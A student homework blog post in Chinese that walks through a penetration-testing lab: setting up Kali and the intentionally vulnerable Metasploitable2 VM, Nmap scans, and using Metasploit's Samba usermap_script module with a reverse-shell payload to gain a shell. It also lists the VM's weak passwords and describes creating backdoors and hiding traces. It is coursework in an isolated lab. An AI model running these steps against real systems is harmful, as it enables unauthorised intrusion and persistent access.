2021-2022-1 20212812《Linux内核原理与分析》第十一周作业

Kali 渗透测试:服务器攻击实战

一、Kali Linux 安装学习

1.Kali Linux 安装有几种方法:

  • 下载官方 ISO 镜像,安装到物理机器或虚拟机中
  • 下载官方虚拟机镜像,在虚拟机管理软件中启动
  • 下载并部署 ARM 镜像到 ARM 系统中
  • 任何方案都需要从官方网站下载镜像,下载之后务必校验 SHA1 哈希值,避免下载到有安全漏洞的系统。

2.Kali APT 包管理

  • 安装软件包: sudo apt-get install <软件包名>
  • 卸载软件包: sudo apt-get remove nginx
  • 不保留配置文件的移除:sudo apt-get purge nginx
  • 移除不再需要的被依赖的软件包:sudo apt-get autoremove

二、Metasploitable2 简介

1.Metasploitable2 是实验中使用的靶机系统,本身是一个定制的 Ubuntu 操作系统,用在渗透测试和漏洞演示的场景中。
2.在以下链接下载最新版本的 Metasploitable2 虚拟机镜像:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
可以使用 wget 下载,下载得到的是一个 zip 压缩包,需要使用下面的命令进行解压:unzip metasploitable-linux-2.0.0.zip

解压后的文件是一个虚拟磁盘,格式为 VMDK。同样,使用 VMware 或 VirtualBox 软件创建一个新的虚拟机,在选择磁盘的时候选使用现有的磁盘,不要选择创建新磁盘。创建好的虚拟机,直接点击开机就可以了。

Metasploitable2 环境中的默认的用户名和密码都是 msfadmin,并且 SSH 服务默认打开,可以直接使用 SSH 登录到系统上。
3.Metasploitable2 上的系统和数据账户都有非常严重的弱口令,至少包括下面的弱口令:

  • msfadmin:msfadmin
  • user:user
  • postgres:postgres
  • sys:batman
  • klog:123456789
  • service:service

三、学习使用kali过程

1.启动进入 xfce 终端,通过命令docker run -ti --network host 3f457 bash启动一个 Kali 容器并进入到该容器的 bash 命令行环境

2.进入 Kali 容器过后,执行 cat /etc/hosts 命令或echo "192.168.122.102 target" >> /etc/hosts命令中查看 /etc/hosts 中是否存在 192.168.122.102 target,它使我们在攻击靶机时不用每次输入 ip 地址,而是直接使用靶机的主机名
在这里插入图片描述
3.保留刚才的 Kali 环境的终端,打开一个新的 xfce 终端执行下面的命令:

# 启动libvirt-bin服务
sudo service libvirt-bin start

# 查看当前系统中的运行虚拟机列表,默认返回为空
sudo virsh list

# 查看当前系统中的所有虚拟机列表,默认返回一台 Kali 和 Metasploitable2 的虚拟机列表,注意这个 Kali 我们不需要使用
sudo virsh list --all

# 查看当前系统中虚拟网络列表,默认返回default网络
sudo virsh net-list --all

在这里插入图片描述
virsh常用命令列表:
在这里插入图片描述
4.在实验楼宿主机上启动 Metasploitable2,输入以下命令启动目标靶机:

# 启动目标靶机 Metasploitable2
sudo virsh start Metasploitable2

# 测试目标靶机是否启动
ping target

在这里插入图片描述
5.回到刚才启动的 Kali 容器的 bash 界面里,执行 ping 操作验证网络联通性:

# 进入 Kali 虚拟主机中
# 在 Kali 虚拟主机中测试虚拟网络连接,使用 Ctrl-C 退出 ping:

ping target

在这里插入图片描述
6.使用 SSH 登录到 Metasploitable2,命令如下:
在这里插入图片描述
7.使用命令 netstat -tln 查看当前系统监听的端口:
在这里插入图片描述
从上面的列表中可以发现,当前系统启动了非常多的网络服务,例如 21 端口是 FTP 服务的监听端口,22 是 SSH 服务监听端口,这些服务都具备一定被攻击的风险,后续的若干个实验都会尝试在外部通过相应服务的漏洞攻入 Metasploitable2 系统中。

8.使用 rpcinfo -p localhost 命令查看当前系统开放的服务:
在这里插入图片描述
9.在 Kali 使用 Nmap 工具扫描 Metasploitable2 中开放的服务,为了节省时间,我们只扫描 1-1000 号端口,使用命令 nmap -p1-1000 target 注意 Nmap 的参数使用:
在这里插入图片描述

四、一次简单的渗透测试实战

1.查看并启动实验环境后,在 Kali 使用 Nmap 工具扫描 Metasploitable2 中开放的服务,在 Kali 容器的 bash 界面里运行以下命令:nmap -p 1-65535 -T4 -A -v target >/tmp/report.txt
这里我们使用到的参数意义如下:

-p:指定扫描的端口范围
-T4:设定 nmap 扫描的时间策略,数字为 0-5,越大越快。扫描的越慢则越不容易被发现,也不会给目标带来太大的网络流量
-A:同时启用操作系统指纹识别和版本检测
-v:将会显示扫描过程中的详细信息
>/tmp/report.txt:将输出的信息重定向到文件中,方便后续对扫描信息进行分析
扫描过程大概 2-3 分钟,完成后会得到一份 /tmp/report.txt 扫描报告,使用 cat 命令打开查看报告,报告中包含开放的服务信息,版本号,操作系统的信息等。
在这里插入图片描述
在这里插入图片描述
选择 Samba 服务,老版本的 Samba 服务的漏洞非常多,首先查看下 Samba 服务的版本信息和开放的端口号:
在这里插入图片描述
执行以下命令,查找扫描报告里 Samba 相关的信息:grep -i samba /tmp/report.txt
在这里插入图片描述
从上述命令的输出结果可以看出,Samba 的版本是 3.0.20,这个版本的 Samba 具备一个非常容易利用的命令注入漏洞 USERNAME MAP SCRIPT 远程命令注入漏洞,相关版本对应的漏洞信息可以通过官方网站和 CVE 等安全组织的网站获得。

2.漏洞描述:
Samba 本身是一个实现 Server Messages Block 协议提供跨平台文件共享服务的应用。

这个漏洞出现的前提是使用了 username map script 配置选项,这个选项不是默认的,但在 Metasploitable2 系统中是打开的。

漏洞出现在 Samba 处理 SAM 数据库更新用户口令的代码时,没有对代码进行严格的过滤,便把用户的所有输入信息直接传递给了 /bin/sh Shell 执行。从而当设定的用户名中有一些命令字符的时候,我们可以执行任意的系统命令。

3.使用 Metasploit 渗透攻击 Samba 漏洞实验过程

  • 启动 Metasploit 框架,命令如下:
# 启动 postgreSQL 数据库,因为 Metasploit 需要使用 postgreSQL 进行数据存储
service postgresql start

# 初始化数据库
msfdb init

# 启动 msfconsole,进入到操作界面
msfconsole

在这里插入图片描述
在这里插入图片描述

  • 配置攻击模块
    首先,告诉系统我们将要使用的攻击模块:msf > use exploit/multi/samba/usermap_script
    然后,查看攻击负荷(payload)列表,在这里 payload 用来在目标被攻陷后创建后门 Shell:msf > show payloads
    在这里插入图片描述
    在这里插入图片描述
    设置 payload 为 cmd/unix/reverse 类型,通过 telnet 创建远程 Shell:msf > set payload cmd/unix/reverse
    查看当前的配置参数,这里会列出当前我们要使用的攻击模块和 payload 的相关参数,包括攻击的目标地址,攻击的目标端口以及后门 Shell 监听的端口号等:msf > show options
    在这里插入图片描述
    补充设置参数,需要设置攻击目标和攻击机本地的 IP 地址,再次查看先前的扫描结果,Samba 3.0.20 监听在 445 端口上,所以我们需要修改攻击的端口号:

    • msf > set RHOST 192.168.122.102
    • msf > set LHOST 192.168.122.1
    • msf > set RPORT 445

    设置完成后再次 show options 查看配置参数:
    在这里插入图片描述

  • 执行攻击
    在这里插入图片描述

  • 验证是否攻击成功
    在这里插入图片描述
    在这里插入图片描述
    完成操作后我们可以使用 Ctrl-C 断开连接,退回到 msfconsole 的提示符界面,然后使用 exit 可以退回到 Kali 容器的 bash 界面。

五、问题与总结

1.渗透测试的基本流程:
渗透测试的流程通常包括以下几个步骤,但在实战中有些步骤可能会省略或合并到其他步骤当中:

  • 收集信息:利用各种工具,尽可能得收集目标系统的各种信息,包括但不限于目标网络信息,网站内容,目录结构,可能的用户名,端口号,服务信息,域名及子域名等。
  • 漏洞扫描:使用扫描工具对目标系统进行完整的扫描,目前有很多现成的自动化的扫描工具,也可以使用手动工具更有针对性的进行漏洞扫描,验证目标系统特定服务的漏洞信息。
  • 渗透漏洞:利用相应的工具,对可以被利用的漏洞进行攻击,包括但不限于使用远程命令执行,注入,破解等等方法,目标是获得目标系统更高的权限访问敏感信息。
  • 创建后门:在目标系统上创建可以维持持续访问的入口,并隐藏自己攻击的痕迹,避免被发现同时也方便未来继续访问。
  • 生成报告:对整个渗透测试的过程和潜在的漏洞完成分析报告,方便目标系统的信息安全加固。

2.需分别启动两个xfce终端启动靶机和使用 docker 命令进入到 bash 环境进行攻击操作。

3.怎么寻找漏洞对应的攻击模块
查找的方法是在 msfconsole 中,首先使用命令 db_rebuild_cache 建立查询缓存,这个过程需要把磁盘上的庞大的漏洞数据读入内存中,需要时间比较久,大概 10-20 分钟,但一次执行后续搜索都会很快,注意这个命令会立刻返回,但会在后台运行,耐心等待 15-20 分钟后再执行 search 命令就可以了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值